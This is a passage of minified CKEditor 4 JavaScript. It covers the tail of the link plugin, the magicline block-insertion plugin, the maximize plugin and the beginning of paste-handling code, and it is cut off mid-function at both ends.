lang:"advLangCode",tabindex:"advTabIndex",title:"advTitle",type:"advContentType","class":"advCSSClasses",charset:"advCharset",style:"advStyles",rel:"advRel"};CKEDITOR.plugins.link={getSelectedLink:function(a,b){var d=a.getSelection(),c=d.getSelectedElement(),e=d.getRanges(),f=[],g;if(!b&&c&&c.is("a"))return c;for(c=0;c<e.length;c++)if(g=d.getRanges()[c],g.shrink(CKEDITOR.SHRINK_ELEMENT,!0,{skipBogus:!0}),(g=a.elementPath(g.getCommonAncestor()).contains("a",1))&&b)f.push(g);else if(g)return g;return b?
f:null},getEditorAnchors:function(a){for(var b=a.editable(),d=b.isInline()&&!a.plugins.divarea?a.document:b,b=d.getElementsByTag("a"),d=d.getElementsByTag("img"),c=[],e=0,f;f=b.getItem(e++);)(f.data("cke-saved-name")||f.hasAttribute("name"))&&c.push({name:f.data("cke-saved-name")||f.getAttribute("name"),id:f.getAttribute("id")});for(e=0;f=d.getItem(e++);)(f=this.tryRestoreFakeAnchor(a,f))&&c.push({name:f.getAttribute("name"),id:f.getAttribute("id")});return c},fakeAnchor:!0,tryRestoreFakeAnchor:function(a,
b){if(b&&b.data("cke-real-element-type")&&"anchor"==b.data("cke-real-element-type")){var d=a.restoreRealElement(b);if(d.data("cke-saved-name"))return d}},parseLinkAttributes:function(a,b){var e=b&&(b.data("cke-saved-href")||b.getAttribute("href"))||"",f=a.plugins.link.compiledProtectionFunction,y=a.config.emailProtection,z={},A;e.match(c)&&("encode"==y?e=e.replace(n,function(a,b,d){d=d||"";return"mailto:"+String.fromCharCode.apply(String,b.split(","))+d.replace(/\\'/g,"'")}):y&&e.replace(r,function(a,
b,d){if(b==f.name){z.type="email";a=z.email={};b=/(^')|('$)/g;d=d.match(/[^,\s]+/g);for(var c=d.length,e,g,k=0;k<c;k++)e=decodeURIComponent,g=d[k].replace(b,"").replace(/\\'/g,"'"),g=e(g),e=f.params[k].toLowerCase(),a[e]=g;a.address=[a.name,a.domain].join("@")}}));if(!z.type)if(y=e.match(d))z.type="anchor",z.anchor={},z.anchor.name=z.anchor.id=y[1];else if(y=e.match(p))z.type="tel",z.tel=y[1];else if(y=e.match(m)){A=e.match(h);var e=e.match(l),D=z.email={};z.type="email";D.address=y[0].replace("mailto:",
"");A&&(D.subject=decodeURIComponent(A[1]));e&&(D.body=decodeURIComponent(e[1]))}else e&&(A=e.match(k))&&(z.type="url",z.url={},z.url.protocol=A[1],z.url.url=A[2]);if(b){if(e=b.getAttribute("target"))z.target={type:e.match(g)?e:"frame",name:e};else if(e=(e=b.data("cke-pa-onclick")||b.getAttribute("onclick"))&&e.match(w))for(z.target={type:"popup",name:e[1]};y=q.exec(e[2]);)"yes"!=y[2]&&"1"!=y[2]||y[1]in{height:1,width:1,top:1,left:1}?isFinite(y[2])&&(z.target[y[1]]=y[2]):z.target[y[1]]=!0;null!==
b.getAttribute("download")&&(z.download=!0);var e={},G;for(G in u)(y=b.getAttribute(G))&&(e[u[G]]=y);if(G=b.data("cke-saved-name")||e.advName)e.advName=G;CKEDITOR.tools.isEmpty(e)||(z.advanced=e)}return z},getLinkAttributes:function(b,d){var c=b.config.emailProtection||"",g={};switch(d.type){case "url":var c=d.url&&void 0!==d.url.protocol?d.url.protocol:"http://",k=d.url&&CKEDITOR.tools.trim(d.url.url)||"";g["data-cke-saved-href"]=0===k.indexOf("/")?k:c+k;break;case "anchor":c=d.anchor&&d.anchor.id;
g["data-cke-saved-href"]="#"+(d.anchor&&d.anchor.name||c||"");break;case "email":var h=d.email,k=h.address;switch(c){case "":case "encode":var l=encodeURIComponent(h.subject||""),m=encodeURIComponent(h.body||""),h=[];l&&h.push("subject\x3d"+l);m&&h.push("body\x3d"+m);h=h.length?"?"+h.join("\x26"):"";"encode"==c?(c=["javascript:void(location.href\x3d'mailto:'+",f(k)],h&&c.push("+'",a(h),"'"),c.push(")")):c=["mailto:",k,h];break;default:c=k.split("@",2),h.name=c[0],h.domain=c[1],c=["javascript:",e(b,
h)]}g["data-cke-saved-href"]=c.join("");break;case "tel":g["data-cke-saved-href"]="tel:"+d.tel}if(d.target)if("popup"==d.target.type){for(var c=["window.open(this.href, '",d.target.name||"","', '"],n="resizable status location toolbar menubar fullscreen scrollbars dependent".split(" "),k=n.length,l=function(a){d.target[a]&&n.push(a+"\x3d"+d.target[a])},h=0;h<k;h++)n[h]+=d.target[n[h]]?"\x3dyes":"\x3dno";l("width");l("left");l("height");l("top");c.push(n.join(","),"'); return false;");g["data-cke-pa-onclick"]=
c.join("")}else"notSet"!=d.target.type&&d.target.name&&(g.target=d.target.name);d.download&&(g.download="");if(d.advanced){for(var p in u)(c=d.advanced[u[p]])&&(g[p]=c);g.name&&(g["data-cke-saved-name"]=g.name)}g["data-cke-saved-href"]&&(g.href=g["data-cke-saved-href"]);p={target:1,onclick:1,"data-cke-pa-onclick":1,"data-cke-saved-name":1,download:1};d.advanced&&CKEDITOR.tools.extend(p,u);for(var r in g)delete p[r];return{set:g,removed:CKEDITOR.tools.object.keys(p)}},showDisplayTextForElement:function(a,
b){var d={img:1,table:1,tbody:1,thead:1,tfoot:1,input:1,select:1,textarea:1},c=b.getSelection();return b.widgets&&b.widgets.focused||c&&1<c.getRanges().length?!1:!a||!a.getName||!a.is(d)}};CKEDITOR.unlinkCommand=function(){};CKEDITOR.unlinkCommand.prototype={exec:function(a){if(CKEDITOR.env.ie){var b=a.getSelection().getRanges()[0],d=b.getPreviousEditableNode()&&b.getPreviousEditableNode().getAscendant("a",!0)||b.getNextEditableNode()&&b.getNextEditableNode().getAscendant("a",!0),c;b.collapsed&&d&&
(c=b.createBookmark(),b.selectNodeContents(d),b.select())}d=new CKEDITOR.style({element:"a",type:CKEDITOR.STYLE_INLINE,alwaysRemoveElement:1});a.removeStyle(d);c&&(b.moveToBookmark(c),b.select())},refresh:function(a,b){var d=b.lastElement&&b.lastElement.getAscendant("a",!0);d&&"a"==d.getName()&&d.getAttribute("href")&&d.getChildCount()?this.setState(CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_DISABLED)},contextSensitive:1,startDisabled:1,requiredContent:"a[href]",editorFocus:1};CKEDITOR.removeAnchorCommand=
function(){};CKEDITOR.removeAnchorCommand.prototype={exec:function(a){var b=a.getSelection(),d=b.createBookmarks(),c;if(b&&(c=b.getSelectedElement())&&(c.getChildCount()?c.is("a"):CKEDITOR.plugins.link.tryRestoreFakeAnchor(a,c)))c.remove(1);else if(c=CKEDITOR.plugins.link.getSelectedLink(a))c.hasAttribute("href")?(c.removeAttributes({name:1,"data-cke-saved-name":1}),c.removeClass("cke_anchor")):c.remove(1);b.selectBookmarks(d)},requiredContent:"a[name]"};CKEDITOR.tools.extend(CKEDITOR.config,{linkShowAdvancedTab:!0,
linkShowTargetTab:!0,linkDefaultProtocol:"http://"})})();"use strict";(function(){function a(a,b,d){return n(b)&&n(d)&&d.equals(b.getNext(function(a){return!(P(a)||S(a)||r(a))}))}function f(a){this.upper=a[0];this.lower=a[1];this.set.apply(this,a.slice(2))}function e(a){var b=a.element;if(b&&n(b)&&(b=b.getAscendant(a.triggers,!0))&&a.editable.contains(b)){var d=h(b);if("true"==d.getAttribute("contenteditable"))return b;if(d.is(a.triggers))return d}return null}function b(a,b,d){v(a,b);v(a,d);a=b.size.bottom;
d=d.size.top;return a&&d?0|(a+d)/2:a||d}function c(a,b,d){return b=b[d?"getPrevious":"getNext"](function(b){return b&&b.type==CKEDITOR.NODE_TEXT&&!P(b)||n(b)&&!r(b)&&!g(a,b)})}function m(a,b,d){return a>b&&a<d}function h(a,b){if(a.data("cke-editable"))return null;for(b||(a=a.getParent());a&&!a.data("cke-editable");){if(a.hasAttribute("contenteditable"))return a;a=a.getParent()}return null}function l(a){var b=a.doc,c=E('\x3cspan contenteditable\x3d"false" data-cke-magic-line\x3d"1" style\x3d"'+ba+
"position:absolute;border-top:1px dashed "+a.boxColor+'"\x3e\x3c/span\x3e',b),e=CKEDITOR.getUrl(this.path+"images/"+(J.hidpi?"hidpi/":"")+"icon"+(a.rtl?"-rtl":"")+".png");D(c,{attach:function(){this.wrap.getParent()||this.wrap.appendTo(a.editable,!0);return this},lineChildren:[D(E('\x3cspan title\x3d"'+a.editor.lang.magicline.title+'" contenteditable\x3d"false"\x3e\x26#8629;\x3c/span\x3e',b),{base:ba+"height:17px;width:17px;"+(a.rtl?"left":"right")+":17px;background:url("+e+") center no-repeat "+
a.boxColor+";cursor:pointer;"+(J.hc?"font-size: 15px;line-height:14px;border:1px solid #fff;text-align:center;":"")+(J.hidpi?"background-size: 9px 10px;":""),looks:["top:-8px; border-radius: 2px;","top:-17px; border-radius: 2px 2px 0px 0px;","top:-1px; border-radius: 0px 0px 2px 2px;"]}),D(E(da,b),{base:V+"left:0px;border-left-color:"+a.boxColor+";",looks:["border-width:8px 0 8px 8px;top:-8px","border-width:8px 0 0 8px;top:-8px","border-width:0 0 8px 8px;top:0px"]}),D(E(da,b),{base:V+"right:0px;border-right-color:"+
a.boxColor+";",looks:["border-width:8px 8px 8px 0;top:-8px","border-width:8px 8px 0 0;top:-8px","border-width:0 8px 8px 0;top:0px"]})],detach:function(){this.wrap.getParent()&&this.wrap.remove();return this},mouseNear:function(){v(a,this);var b=a.holdDistance,d=this.size;return d&&m(a.mouse.y,d.top-b,d.bottom+b)&&m(a.mouse.x,d.left-b,d.right+b)?!0:!1},place:function(){var b=a.view,d=a.editable,c=a.trigger,e=c.upper,f=c.lower,g=e||f,k=g.getParent(),h={};this.trigger=c;e&&v(a,e,!0);f&&v(a,f,!0);v(a,
k,!0);a.inInlineMode&&y(a,!0);k.equals(d)?(h.left=b.scroll.x,h.right=-b.scroll.x,h.width=""):(h.left=g.size.left-g.size.margin.left+b.scroll.x-(a.inInlineMode?b.editable.left+b.editable.border.left:0),h.width=g.size.outerWidth+g.size.margin.left+g.size.margin.right+b.scroll.x,h.right="");e&&f?h.top=e.size.margin.bottom===f.size.margin.top?0|e.size.bottom+e.size.margin.bottom/2:e.size.margin.bottom<f.size.margin.top?e.size.bottom+e.size.margin.bottom:e.size.bottom+e.size.margin.bottom-f.size.margin.top:
e?f||(h.top=e.size.bottom+e.size.margin.bottom):h.top=f.size.top-f.size.margin.top;c.is(Q)||m(h.top,b.scroll.y-15,b.scroll.y+5)?(h.top=a.inInlineMode?0:b.scroll.y,this.look(Q)):c.is(O)||m(h.top,b.pane.bottom-5,b.pane.bottom+15)?(h.top=a.inInlineMode?b.editable.height+b.editable.padding.top+b.editable.padding.bottom:b.pane.bottom-1,this.look(O)):(a.inInlineMode&&(h.top-=b.editable.top+b.editable.border.top),this.look(X));a.inInlineMode&&(h.top--,h.top+=b.editable.scroll.top,h.left+=b.editable.scroll.left);
for(var l in h)h[l]=CKEDITOR.tools.cssLength(h[l]);this.setStyles(h)},look:function(a){if(this.oldLook!=a){for(var b=this.lineChildren.length,d;b--;)(d=this.lineChildren[b]).setAttribute("style",d.base+d.looks[0|a/2]);this.oldLook=a}},wrap:new G("span",a.doc)});for(b=c.lineChildren.length;b--;)c.lineChildren[b].appendTo(c);c.look(X);c.appendTo(c.wrap);c.unselectable();c.lineChildren[0].on("mouseup",function(b){c.detach();d(a,function(b){var d=a.line.trigger;b[d.is(I)?"insertBefore":"insertAfter"](d.is(I)?
d.lower:d.upper)},!0);a.editor.focus();J.ie||a.enterMode==CKEDITOR.ENTER_BR||a.hotNode.scrollIntoView();b.data.preventDefault(!0)});c.on("mousedown",function(a){a.data.preventDefault(!0)});a.line=c}function d(a,b,d){var c=new CKEDITOR.dom.range(a.doc),e=a.editor,f;J.ie&&a.enterMode==CKEDITOR.ENTER_BR?f=a.doc.createText(T):(f=(f=h(a.element,!0))&&f.data("cke-enter-mode")||a.enterMode,f=new G(M[f],a.doc),f.is("br")||a.doc.createText(T).appendTo(f));d&&e.fire("saveSnapshot");b(f);c.moveToPosition(f,
CKEDITOR.POSITION_AFTER_START);e.getSelection().selectRanges([c]);a.hotNode=f;d&&e.fire("saveSnapshot")}function k(a,b){return{canUndo:!0,modes:{wysiwyg:1},exec:function(){function f(c){var e=J.ie&&9>J.version?" ":T,g=a.hotNode&&a.hotNode.getText()==e&&a.element.equals(a.hotNode)&&a.lastCmdDirection===!!b;d(a,function(d){g&&a.hotNode&&a.hotNode.remove();d[b?"insertAfter":"insertBefore"](c);d.setAttributes({"data-cke-magicline-hot":1,"data-cke-magicline-dir":!!b});a.lastCmdDirection=!!b});J.ie||a.enterMode==
CKEDITOR.ENTER_BR||a.hotNode.scrollIntoView();a.line.detach()}return function(d){d=d.getSelection().getStartElement();var g;d=d.getAscendant(U,1);if(!p(a,d)&&d&&!d.equals(a.editable)&&!d.contains(a.editable)){(g=h(d))&&"false"==g.getAttribute("contenteditable")&&(d=g);a.element=d;g=c(a,d,!b);var k;n(g)&&g.is(a.triggers)&&g.is(W)&&(!c(a,g,!b)||(k=c(a,g,!b))&&n(k)&&k.is(a.triggers))?f(g):(k=e(a,d),n(k)&&(c(a,k,!b)?(d=c(a,k,!b))&&n(d)&&d.is(a.triggers)&&f(k):f(k)))}}}()}}function g(a,b){if(!b||b.type!=
CKEDITOR.NODE_ELEMENT||!b.$)return!1;var d=a.line;return d.wrap.equals(b)||d.wrap.contains(b)}function n(a){return a&&a.type==CKEDITOR.NODE_ELEMENT&&a.$}function r(a){if(!n(a))return!1;var b;(b=w(a))||(n(a)?(b={left:1,right:1,center:1},b=!(!b[a.getComputedStyle("float")]&&!b[a.getAttribute("align")])):b=!1);return b}function w(a){return!!{absolute:1,fixed:1}[a.getComputedStyle("position")]}function q(a,b){return n(b)?b.is(a.triggers):null}function p(a,b){if(!b)return!1;for(var d=b.getParents(1),c=
d.length;c--;)for(var e=a.tabuList.length;e--;)if(d[c].hasAttribute(a.tabuList[e]))return!0;return!1}function u(a,b,d){b=b[d?"getLast":"getFirst"](function(b){return a.isRelevant(b)&&!b.is(ha)});if(!b)return!1;v(a,b);return d?b.size.top>a.mouse.y:b.size.bottom<a.mouse.y}function x(a){var b=a.editable,d=a.mouse,c=a.view,e=a.triggerOffset;y(a);var k=d.y>(a.inInlineMode?c.editable.top+c.editable.height/2:Math.min(c.editable.height,c.pane.height)/2),b=b[k?"getLast":"getFirst"](function(a){return!(P(a)||
S(a))});if(!b)return null;g(a,b)&&(b=a.line.wrap[k?"getPrevious":"getNext"](function(a){return!(P(a)||S(a))}));if(!n(b)||r(b)||!q(a,b))return null;v(a,b);return!k&&0<=b.size.top&&m(d.y,0,b.size.top+e)?(a=a.inInlineMode||0===c.scroll.y?Q:X,new f([null,b,I,L,a])):k&&b.size.bottom<=c.pane.height&&m(d.y,b.size.bottom-e,c.pane.height)?(a=a.inInlineMode||m(b.size.bottom,c.pane.height-e,c.pane.height)?O:X,new f([b,null,K,L,a])):null}function t(a){var b=a.mouse,d=a.view,g=a.triggerOffset,k=e(a);if(!k)return null;
v(a,k);var g=Math.min(g,0|k.size.outerHeight/2),h=[],l,p;if(m(b.y,k.size.top-1,k.size.top+g))p=!1;else if(m(b.y,k.size.bottom-g,k.size.bottom+1))p=!0;else return null;if(r(k)||u(a,k,p)||k.getParent().is(Y))return null;var N=c(a,k,!p);if(N){if(N&&N.type==CKEDITOR.NODE_TEXT)return null;if(n(N)){if(r(N)||!q(a,N)||N.getParent().is(Y))return null;h=[N,k][p?"reverse":"concat"]().concat([C,L])}}else k.equals(a.editable[p?"getLast":"getFirst"](a.isRelevant))?(y(a),p&&m(b.y,k.size.bottom-g,d.pane.height)&&
m(k.size.bottom,d.pane.height-g,d.pane.height)?l=O:m(b.y,0,k.size.top+g)&&(l=Q)):l=X,h=[null,k][p?"reverse":"concat"]().concat([p?K:I,L,l,k.equals(a.editable[p?"getLast":"getFirst"](a.isRelevant))?p?O:Q:X]);return 0 in h?new f(h):null}function B(a,b,d,c){for(var e=b.getDocumentPosition(),f={},g={},k={},h={},l=N.length;l--;)f[N[l]]=parseInt(b.getComputedStyle.call(b,"border-"+N[l]+"-width"),10)||0,k[N[l]]=parseInt(b.getComputedStyle.call(b,"padding-"+N[l]),10)||0,g[N[l]]=parseInt(b.getComputedStyle.call(b,
"margin-"+N[l]),10)||0;d&&!c||z(a,c);h.top=e.y-(d?0:a.view.scroll.y);h.left=e.x-(d?0:a.view.scroll.x);h.outerWidth=b.$.offsetWidth;h.outerHeight=b.$.offsetHeight;h.height=h.outerHeight-(k.top+k.bottom+f.top+f.bottom);h.width=h.outerWidth-(k.left+k.right+f.left+f.right);h.bottom=h.top+h.outerHeight;h.right=h.left+h.outerWidth;a.inInlineMode&&(h.scroll={top:b.$.scrollTop,left:b.$.scrollLeft});return D({border:f,padding:k,margin:g,ignoreScroll:d},h,!0)}function v(a,b,d){if(!n(b))return b.size=null;if(!b.size)b.size=
{};else if(b.size.ignoreScroll==d&&b.size.date>new Date-aa)return null;return D(b.size,B(a,b,d),{date:+new Date},!0)}function y(a,b){a.view.editable=B(a,a.editable,b,!0)}function z(a,b){a.view||(a.view={});var d=a.view;if(!(!b&&d&&d.date>new Date-aa)){var c=a.win,d=c.getScrollPosition(),c=c.getViewPaneSize();D(a.view,{scroll:{x:d.x,y:d.y,width:a.doc.$.documentElement.scrollWidth-c.width,height:a.doc.$.documentElement.scrollHeight-c.height},pane:{width:c.width,height:c.height,bottom:c.height+d.y},
date:+new Date},!0)}}function A(a,b,d,c){for(var e=c,g=c,k=0,h=!1,l=!1,m=a.view.pane.height,n=a.mouse;n.y+k<m&&0<n.y-k;){h||(h=b(e,c));l||(l=b(g,c));!h&&0<n.y-k&&(e=d(a,{x:n.x,y:n.y-k}));!l&&n.y+k<m&&(g=d(a,{x:n.x,y:n.y+k}));if(h&&l)break;k+=2}return new f([e,g,null,null])}CKEDITOR.plugins.add("magicline",{init:function(a){var b=a.config,h=b.magicline_triggerOffset||30,m={editor:a,enterMode:b.enterMode,triggerOffset:h,holdDistance:0|h*(b.magicline_holdDistance||.5),boxColor:b.magicline_color||"#ff0000",
rtl:"rtl"==b.contentsLangDirection,tabuList:["data-cke-hidden-sel"].concat(b.magicline_tabuList||[]),triggers:b.magicline_everywhere?U:{table:1,hr:1,div:1,ul:1,ol:1,dl:1,form:1,blockquote:1}},N,u,q;m.isRelevant=function(a){return n(a)&&!g(m,a)&&!r(a)};a.on("contentDom",function(){var h=a.editable(),n=a.document,r=a.window;D(m,{editable:h,inInlineMode:h.isInline(),doc:n,win:r,hotNode:null},!0);m.boundary=m.inInlineMode?m.editable:m.doc.getDocumentElement();h.is(F.$inline)||(m.inInlineMode&&!w(h)&&
h.setStyles({position:"relative",top:null,left:null}),l.call(this,m),z(m),h.attachListener(a,"beforeUndoImage",function(){m.line.detach()}),h.attachListener(a,"beforeGetData",function(){m.line.wrap.getParent()&&(m.line.detach(),a.once("getData",function(){m.line.attach()},null,null,1E3))},null,null,0),h.attachListener(m.inInlineMode?n:n.getWindow().getFrame(),"mouseout",function(b){if("wysiwyg"==a.mode)if(m.inInlineMode){var d=b.data.$.clientX;b=b.data.$.clientY;z(m);y(m,!0);var c=m.view.editable,
e=m.view.scroll;d>c.left-e.x&&d<c.right-e.x&&b>c.top-e.y&&b<c.bottom-e.y||(clearTimeout(q),q=null,m.line.detach())}else clearTimeout(q),q=null,m.line.detach()}),h.attachListener(h,"keyup",function(){m.hiddenMode=0}),h.attachListener(h,"keydown",function(b){if("wysiwyg"==a.mode)switch(b.data.getKeystroke()){case 2228240:case 16:m.hiddenMode=1,m.line.detach()}}),h.attachListener(m.inInlineMode?h:n,"mousemove",function(b){u=!0;if("wysiwyg"==a.mode&&!a.readOnly&&!q){var d={x:b.data.$.clientX,y:b.data.$.clientY};
q=setTimeout(function(){m.mouse=d;q=m.trigger=null;z(m);u&&!m.hiddenMode&&a.focusManager.hasFocus&&!m.line.mouseNear()&&(m.element=Z(m,!0))&&((m.trigger=x(m)||t(m)||R(m))&&!p(m,m.trigger.upper||m.trigger.lower)?m.line.attach().place():(m.trigger=null,m.line.detach()),u=!1)},30)}}),h.attachListener(r,"scroll",function(){"wysiwyg"==a.mode&&(m.line.detach(),J.webkit&&(m.hiddenMode=1,clearTimeout(N),N=setTimeout(function(){m.mouseDown||(m.hiddenMode=0)},50)))}),h.attachListener(H?n:r,"mousedown",function(){"wysiwyg"==
a.mode&&(m.line.detach(),m.hiddenMode=1,m.mouseDown=1)}),h.attachListener(H?n:r,"mouseup",function(){m.hiddenMode=0;m.mouseDown=0}),a.addCommand("accessPreviousSpace",k(m)),a.addCommand("accessNextSpace",k(m,!0)),a.setKeystroke([[b.magicline_keystrokePrevious,"accessPreviousSpace"],[b.magicline_keystrokeNext,"accessNextSpace"]]),a.on("loadSnapshot",function(){var b,d,c,e;for(e in{p:1,br:1,div:1})for(b=a.document.getElementsByTag(e),c=b.count();c--;)if((d=b.getItem(c)).data("cke-magicline-hot")){m.hotNode=
d;m.lastCmdDirection="true"===d.data("cke-magicline-dir")?!0:!1;return}}),a._.magiclineBackdoor={accessFocusSpace:d,boxTrigger:f,isLine:g,getAscendantTrigger:e,getNonEmptyNeighbour:c,getSize:B,that:m,triggerEdge:t,triggerEditable:x,triggerExpand:R})},this)}});var D=CKEDITOR.tools.extend,G=CKEDITOR.dom.element,E=G.createFromHtml,J=CKEDITOR.env,H=CKEDITOR.env.ie&&9>CKEDITOR.env.version,F=CKEDITOR.dtd,M={},I=128,K=64,C=32,L=16,Q=4,O=2,X=1,T=" ",Y=F.$listItem,ha=F.$tableContent,W=D({},F.$nonEditable,
F.$empty),U=F.$block,aa=100,ba="width:0px;height:0px;padding:0px;margin:0px;display:block;z-index:9999;color:#fff;position:absolute;font-size: 0px;line-height:0px;",V=ba+"border-color:transparent;display:block;border-style:solid;",da="\x3cspan\x3e"+T+"\x3c/span\x3e";M[CKEDITOR.ENTER_BR]="br";M[CKEDITOR.ENTER_P]="p";M[CKEDITOR.ENTER_DIV]="div";f.prototype={set:function(a,b,d){this.properties=a+b+(d||X);return this},is:function(a){return(this.properties&a)==a}};var Z=function(){function a(b,d){var c=
b.$.elementFromPoint(d.x,d.y);return c&&c.nodeType?new CKEDITOR.dom.element(c):null}return function(b,d,c){if(!b.mouse)return null;var e=b.doc,f=b.line.wrap;c=c||b.mouse;var k=a(e,c);d&&g(b,k)&&(f.hide(),k=a(e,c),f.show());return!k||k.type!=CKEDITOR.NODE_ELEMENT||!k.$||J.ie&&9>J.version&&!b.boundary.equals(k)&&!b.boundary.contains(k)?null:k}}(),P=CKEDITOR.dom.walker.whitespaces(),S=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_COMMENT),R=function(){function d(e){var f=e.element,g,k,h;if(!n(f)||f.contains(e.editable)||
f.isReadOnly())return null;h=A(e,function(a,b){return!b.equals(a)},function(a,b){return Z(a,!0,b)},f);g=h.upper;k=h.lower;if(a(e,g,k))return h.set(C,8);if(g&&f.contains(g))for(;!g.getParent().equals(f);)g=g.getParent();else g=f.getFirst(function(a){return c(e,a)});if(k&&f.contains(k))for(;!k.getParent().equals(f);)k=k.getParent();else k=f.getLast(function(a){return c(e,a)});if(!g||!k)return null;v(e,g);v(e,k);if(!m(e.mouse.y,g.size.top,k.size.bottom))return null;for(var f=Number.MAX_VALUE,l,p,N,t;k&&
!k.equals(g)&&(p=g.getNext(e.isRelevant));)l=Math.abs(b(e,g,p)-e.mouse.y),l<f&&(f=l,N=g,t=p),g=p,v(e,g);if(!N||!t||!m(e.mouse.y,N.size.top,t.size.bottom))return null;h.upper=N;h.lower=t;return h.set(C,8)}function c(a,b){return!(b&&b.type==CKEDITOR.NODE_TEXT||S(b)||r(b)||g(a,b)||b.type==CKEDITOR.NODE_ELEMENT&&b.$&&b.is("br"))}return function(b){var c=d(b),e;if(e=c){e=c.upper;var f=c.lower;e=!e||!f||r(f)||r(e)||f.equals(e)||e.equals(f)||f.contains(e)||e.contains(f)?!1:q(b,e)&&q(b,f)&&a(b,e,f)?!0:!1}return e?
c:null}}(),N=["top","left","right","bottom"]})();CKEDITOR.config.magicline_keystrokePrevious=CKEDITOR.CTRL+CKEDITOR.SHIFT+51;CKEDITOR.config.magicline_keystrokeNext=CKEDITOR.CTRL+CKEDITOR.SHIFT+52;(function(){function a(a){if(!a||a.type!=CKEDITOR.NODE_ELEMENT||"form"!=a.getName())return[];for(var b=[],c=["style","className"],d=0;d<c.length;d++){var e=a.$.elements.namedItem(c[d]);e&&(e=new CKEDITOR.dom.element(e),b.push([e,e.nextSibling]),e.remove())}return b}function f(a,b){if(a&&a.type==CKEDITOR.NODE_ELEMENT&&
"form"==a.getName()&&0<b.length)for(var c=b.length-1;0<=c;c--){var d=b[c][0],e=b[c][1];e?d.insertBefore(e):d.appendTo(a)}}function e(b,c){var e=a(b),d={},k=b.$;c||(d["class"]=k.className||"",k.className="");d.inline=k.style.cssText||"";c||(k.style.cssText="position: static; overflow: visible");f(e);return d}function b(b,c){var e=a(b),d=b.$;"class"in c&&(d.className=c["class"]);"inline"in c&&(d.style.cssText=c.inline);f(e)}function c(a){if(!a.editable().isInline()){var b=CKEDITOR.instances,c;for(c in b){var d=
b[c];"wysiwyg"!=d.mode||d.readOnly||(d=d.document.getBody(),d.setAttribute("contentEditable",!1),d.setAttribute("contentEditable",!0))}a.editable().hasFocus&&(a.toolbox.focus(),a.focus())}}CKEDITOR.plugins.add("maximize",{init:function(a){function f(){var b=k.getViewPaneSize();a.resize(b.width,b.height,null,!0)}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var l=a.lang,d=CKEDITOR.document,k=d.getWindow(),g,n,r,w=CKEDITOR.TRISTATE_OFF;a.addCommand("maximize",{modes:{wysiwyg:!CKEDITOR.env.iOS,source:!CKEDITOR.env.iOS},
readOnly:1,editorFocus:!1,exec:function(){var q=a.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasClass("cke_inner")}),p=a.ui.space("contents");if("wysiwyg"==a.mode){var u=a.getSelection();g=u&&u.getRanges();n=k.getScrollPosition()}else{var x=a.editable().$;g=!CKEDITOR.env.ie&&[x.selectionStart,x.selectionEnd];n=[x.scrollLeft,x.scrollTop]}if(this.state==CKEDITOR.TRISTATE_OFF){k.on("resize",f);r=k.getScrollPosition();for(u=a.container;u=u.getParent();)u.setCustomData("maximize_saved_styles",
e(u)),u.setStyle("z-index",a.config.baseFloatZIndex-5);p.setCustomData("maximize_saved_styles",e(p,!0));q.setCustomData("maximize_saved_styles",e(q,!0));p={overflow:CKEDITOR.env.webkit?"":"hidden",width:0,height:0};d.getDocumentElement().setStyles(p);!CKEDITOR.env.gecko&&d.getDocumentElement().setStyle("position","fixed");CKEDITOR.env.gecko&&CKEDITOR.env.quirks||d.getBody().setStyles(p);CKEDITOR.env.ie?setTimeout(function(){k.$.scrollTo(0,0)},0):k.$.scrollTo(0,0);q.setStyle("position",CKEDITOR.env.gecko&&
CKEDITOR.env.quirks?"fixed":"absolute");q.$.offsetLeft;q.setStyles({"z-index":a.config.baseFloatZIndex-5,left:"0px",top:"0px"});q.addClass("cke_maximized");f();p=q.getDocumentPosition();q.setStyles({left:-1*p.x+"px",top:-1*p.y+"px"});CKEDITOR.env.gecko&&c(a)}else if(this.state==CKEDITOR.TRISTATE_ON){k.removeListener("resize",f);for(var u=[p,q],t=0;t<u.length;t++)b(u[t],u[t].getCustomData("maximize_saved_styles")),u[t].removeCustomData("maximize_saved_styles");for(u=a.container;u=u.getParent();)b(u,
u.getCustomData("maximize_saved_styles")),u.removeCustomData("maximize_saved_styles");CKEDITOR.env.ie?setTimeout(function(){k.$.scrollTo(r.x,r.y)},0):k.$.scrollTo(r.x,r.y);q.removeClass("cke_maximized");CKEDITOR.env.webkit&&(q.setStyle("display","inline"),setTimeout(function(){q.setStyle("display","block")},0));a.fire("resize",{outerHeight:a.container.$.offsetHeight,contentsHeight:p.$.offsetHeight,outerWidth:a.container.$.offsetWidth})}this.toggleState();if(u=this.uiItems[0])p=this.state==CKEDITOR.TRISTATE_OFF?
l.maximize.maximize:l.maximize.minimize,u=CKEDITOR.document.getById(u._.id),u.getChild(1).setHtml(p),u.setAttribute("title",p),u.setAttribute("href",'javascript:void("'+p+'");');"wysiwyg"==a.mode?g?(CKEDITOR.env.gecko&&c(a),a.getSelection().selectRanges(g),(x=a.getSelection().getStartElement())&&x.scrollIntoView(!0)):k.$.scrollTo(n.x,n.y):(g&&(x.selectionStart=g[0],x.selectionEnd=g[1]),x.scrollLeft=n[0],x.scrollTop=n[1]);g=n=null;w=this.state;a.fire("maximize",this.state)},canUndo:!1});a.ui.addButton&&
a.ui.addButton("Maximize",{label:l.maximize.maximize,command:"maximize",toolbar:"tools,10"});a.on("mode",function(){var b=a.getCommand("maximize");b.setState(b.state==CKEDITOR.TRISTATE_DISABLED?CKEDITOR.TRISTATE_DISABLED:w)},null,null,100)}}})})();(function(){function a(a,b){return CKEDITOR.tools.array.filter(a,function(a){return a.canHandle(b)}).sort(function(a,b){return a.priority===b.priority?0:a.priority-b.priority})}function f(a,b){var d=a.shift();d&&d.handle(b,function(){f(a,b)})}function e(a){var b=
CKEDITOR.tools.array.reduce(a,function(a,b){return CKEDITOR.tools.array.isArray(b.filters)?a.concat(b.filters):a},[]);return CKEDITOR.tools.array.filter(b,function(a,c){return CKEDITOR.tools.array.indexOf(b,a)===c})}function b(a,b){var d=0,e,f;if(!CKEDITOR.tools.array.isArray(a)||0===a.length)return!0;e=CKEDITOR.tools.array.filter(a,function(a){return-1===CKEDITOR.tools.array.indexOf(c,a)});if(0<e.length)for(f=0;f<e.length;f++)(function(a){CKEDITOR.scriptLoader.queue(a,function(f){f&&c.push(a);++d===
